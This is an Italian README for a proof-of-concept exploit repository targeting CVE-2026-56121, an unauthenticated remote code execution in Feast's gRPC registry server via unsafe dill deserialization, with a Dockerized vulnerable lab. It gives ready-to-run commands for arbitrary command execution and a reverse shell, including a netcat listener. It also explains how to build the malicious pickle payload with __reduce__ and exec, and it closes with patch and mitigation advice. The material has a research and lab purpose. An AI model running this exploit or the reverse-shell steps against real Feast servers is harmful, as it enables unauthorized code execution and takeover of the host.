
Proof-of-concept exploit per CVE-2026-56121, una RCE non autenticata nel server gRPC del registry di Feast tramite deserializzazione dill non sicura. Include un laboratorio vulnerabile containerizzato con Docker per test e validazione.
Esecuzione remota di codice non autenticata in Feast
(< 0.63.0) tramite deserializzazione non sicura dill.loads nel server gRPC del registry.
Questo repository contiene un proof-of-concept autonomo e un lab vulnerabile containerizzato
per validarlo.
| CVE | CVE-2026-56121 |
| Prodotto | Feast (feature store) — server gRPC del registry |
| Versioni affette | feast < 0.63.0 |
| Corretto in | 0.63.0 (commit 835cda8) |
| Classe | CWE-502 — Deserializzazione di dati non attendibili |
| Impatto | Esecuzione remota di codice non autenticata (configurazione predefinita auth: no_auth) |
| Porta predefinita | 6570/tcp (server gRPC del registry) |
⚠️ Solo per test di sicurezza autorizzati e scopi educativi. Eseguire questo strumento esclusivamente contro il lab Docker incluso o sistemi di tua proprietà / per cui hai esplicita autorizzazione. L'uso non autorizzato contro sistemi di terze parti è illegale.
L'handler gRPC del registry di Feast RegistryServer.ApplyFeatureView deserializza la
spec del feature-view in ingresso chiamando OnDemandFeatureView.from_proto(...) prima
di eseguire qualsiasi controllo di autorizzazione. Per un On-Demand Feature View in modalità pandas con un
corpo UDF non vuoto, quel percorso raggiunge PandasTransformation.from_proto, che esegue
dill.loads(user_defined_function.body) su byte controllati dall'attaccante. Poiché dill
esegue opcode pickle, un oggetto con un __reduce__ modificato esegue Python arbitrario nel
processo del server. La configurazione fornita è auth: no_auth e il server gRPC non ha
interceptor di autenticazione, quindi chiunque possa raggiungere la porta 6570 ottiene l'esecuzione di codice.
Vedi ANALYSIS.md per l'analisi completa del percorso del codice e il diff della patch.
.
├── exploit/
│ ├── exploit.py # client PoC completo: --check / --cmd / --reverse-shell
│ ├── poc.py # PoC minimale a file singolo, stessa primitiva in ~90 righe
│ ├── build_protos.sh # (ri)genera gli stub protobuf da [email protected]
│ └── protos/ # stub *_pb2 generati e inclusi (esegui il PoC senza protoc)
├── lab/
│ ├── Dockerfile # feast==0.62.0 di default; FEAST_VERSION seleziona la release
│ ├── docker-compose.yml
│ ├── entrypoint.sh # feast serve_registry --port 6570
│ └── feature_repo/ # progetto Feast minimale (auth: no_auth)
├── requirements.txt # dipendenze exploit: grpcio, protobuf
├── ANALYSIS.md
└── LICENSE
cd lab
docker compose up --build -d
# il server gRPC del registry ora è in ascolto su localhost:6570
docker compose logs -f # attendi "Grpc server started"
python3 -m venv .venv && source .venv/bin/activate
pip install -r requirements.txt
Verifica sicura (non distruttiva) — dimostra che il server deserializza i dati dell'attaccante
scrivendo un file marker in /tmp e restituendo informazioni sull'host, senza eseguire un comando shell:
python exploit/exploit.py --target 127.0.0.1:6570 --check
Esegui un comando e vedi il suo output (modalità predefinita):
python exploit/exploit.py --target 127.0.0.1:6570 --cmd "id; hostname; cat /etc/os-release | head -1"
Reverse shell interattiva — avvia prima il tuo listener, poi consegna il payload:
# terminale A
nc -lvnp 4444
# terminale B (usa un indirizzo che il container possa raggiungere)
python exploit/exploit.py --target 127.0.0.1:6570 --reverse-shell 172.17.0.1:4444
Le modalità --cmd e --check avviano un listener TCP di breve durata nell'exploit stesso
e stampano ciò che il target invia — nessuno strumento esterno richiesto nell'immagine del target.
Un equivalente ridotto è in exploit/poc.py, se vuoi l'intera primitiva in un unico
file leggibile:
python exploit/poc.py 127.0.0.1:6570 "id; uname -a"
Nota sul callback.
--check,--cmdepoc.pysi basano sul target che si riconnette a un listener sulla tua macchina. Eseguire dall'host funziona senza configurazione aggiuntiva. Se esegui l'exploit da dentro un container, mettilo sulla rete del lab (docker run --network lab_default ...), altrimenti il payload viene eseguito ma la risposta non arriva mai e lo strumento segnala "no callback".
Gli stub in exploit/protos/ sono inclusi, quindi non serve protoc. Se li
rigeneri, usa lo script — blocca grpcio-tools di proposito:
./exploit/build_protos.sh # esegue in un container python:3.11 bloccato
protoc stampa una versione gencode in ogni _pb2.py, e protobuf rifiuta di caricare uno
stub il cui gencode è più recente del runtime installato. Il blocco mantiene gli stub caricabili
su protobuf >= 5.29, < 8 (verificato su 5.29.6, 6.33.6 e 7.36.0).
Ricostruisci il lab con la release corretta e riesegui l'exploit:
cd lab
docker compose down
FEAST_VERSION=0.63.0 docker compose up --build -d
python ../exploit/exploit.py --target 127.0.0.1:6570 --check
Atteso su 0.63.0: [-] No callback received. e nessun file marker sul target —
l'handler passa skip_udf=True, quindi il corpo UDF non viene mai deserializzato prima del
controllo di autorizzazione. Torna al lab vulnerabile con docker compose down && docker compose up --build -d.
cd lab && docker compose down -v
ApplyFeatureViewRequest la cui spec on_demand_feature_view abbia
mode = "pandas" e un feature_transformation.user_defined_function
(UserDefinedFunctionV2) con:
body_text = non vuoto (richiesto per raggiungere il ramo di deserializzazione pandas),body = un pickle di un oggetto il cui __reduce__ chiama exec(<python>).feast.registry.RegistryServer/ApplyFeatureView.dill.loads(body) durante from_proto — prima del controllo di autorizzazione —
eseguendo il payload. La RPC stessa può poi fallire; il codice è già stato eseguito.L'exploit costruisce il gadget con il modulo pickle della stdlib (il dill.loads del server
decodifica senza problemi opcode pickle semplici), quindi il lato attaccante richiede solo grpcio + protobuf.
>= 0.63.0. La correzione propaga un flag skip_udf=True attraverso
*.from_proto, così il server del registry valida i permessi sui metadati della spec senza
deserializzare il corpo UDF.6570) a reti non attendibili.auth: kubernetes / auth: oidc) invece del no_auth predefinito.